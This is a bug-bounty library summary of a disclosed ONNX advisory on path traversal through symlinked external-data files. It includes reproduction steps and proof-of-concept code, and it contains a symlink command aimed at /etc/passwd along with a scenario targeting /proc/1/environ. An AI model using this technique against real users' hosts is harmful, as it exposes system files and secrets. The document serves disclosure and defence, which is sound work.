# onnx Vulnerable to Path Traversal via Symlink

ONNX's external-data symlink check used std::filesystem::is_regular_file, which follows symlinks, letting a crafted model read arbitrary host files like /etc/passwd.

- Payout: Research
- Severity: high
- Program: ONNX
- Found by: pi3ch
- Disclosed: 2026-03-31
- CVE: CVE-2026-27489
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3r9x-f23j-gc73
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-3r9x-f23j-gc73
- Tags: area:ai domain:ai impact:data-leak kind:research platform:ghsa sev:high tech:python technique:source-review vuln:info-disclosure vuln:path-traversal

**Target:** onnx model loader external data file handling (checker.cc)
**Root cause:** The symlink guard used std::filesystem::is_regular_file, which calls status(p) and follows symlinks, so a symlink pointing at any regular file passes the check.
**Steps:**
1. Generate a model with external data via onnx.save_model(save_as_external_data=True, all_tensors_to_one_file=True, location='model.data')
2. Delete model.data and run `ln -s /etc/passwd model.data`
3. Load with `onnx.load('model.onnx')` or `load_external_data_for_model(model, '.')`
4. Observe the symlink check is bypassed and the model loads, reading the symlink target
**How found:** Code review of the symlink check in checker.cc; noticed std::filesystem::is_regular_file performs status(p), which follows symlinks, making the guard ineffective.
**Exploitation:** Attacker ships a compressed archive containing poc.onnx plus poc.data as a symlink to a chosen host file (e.g. /etc/passwd or /proc/1/environ); when the victim extracts and loads the model, the external-data reader follows the symlink and reads the arbitrary file.
**Insight:** Filesystem 'is regular file' checks (std::filesystem::is_regular_file, stat) follow symlinks; to block symlink attacks you must open with O_NOFOLLOW and fstat the opened fd, not stat the path.

## Proof of concept (copied exactly from the original report)

**Symlink model.data to /etc/passwd then load**

```
2. Remove `model.data`
3. Run `ln -s /etc/passwd model.data`
4. Load the model using the following code
5. Observe check for symlink is bypassed and model is succesfuly loaded

import onnx
from onnx.external_data_helper import load_external_data_for_model

def load_onnx_model_basic(model_path="model.onnx"):
    model = onnx.load(model_path)
    return model

def load_onnx_model_explicit(model_path="model.onnx"):
    model = onnx.load(model_path, load_external_data=False)
    load_external_data_for_model(model, ".")
    return model

if __name__ == "__main__":
    model = load_onnx_model_basic("model.onnx")
```

**Script creating ONNX model with external data**

```
import os
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper

def create_onnx_model(output_path="model.onnx"):
    weight_matrix = np.random.randn(1000, 1000).astype(np.float32)

    X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000])
    Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000])
    W = numpy_helper.from_array(weight_matrix, name="W")

    matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")

    graph = helper.make_graph(
        nodes=[matmul_node],
        name="SimpleModel",
        inputs=[X],
        outputs=[Y],
        initializer=[W]
    )

    model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)])
    onnx.checker.check_model(model)

    data_file = output_path.replace('.onnx', '.data')

    if os.path.exists(output_path):
        os.remove(output_path)
    if os.path.exists(data_file):
        os.remove(data_file)

    onnx.save_model(
        model,
        output_path,
        save_as_external_data=True,
        all_tensors_to_one_file=True,
        location=os.path.basename(data_file),
        size_threshold=1024 * 1024
    )

if __name__ == "__main__":
    create_onnx_model("model.onnx")
```

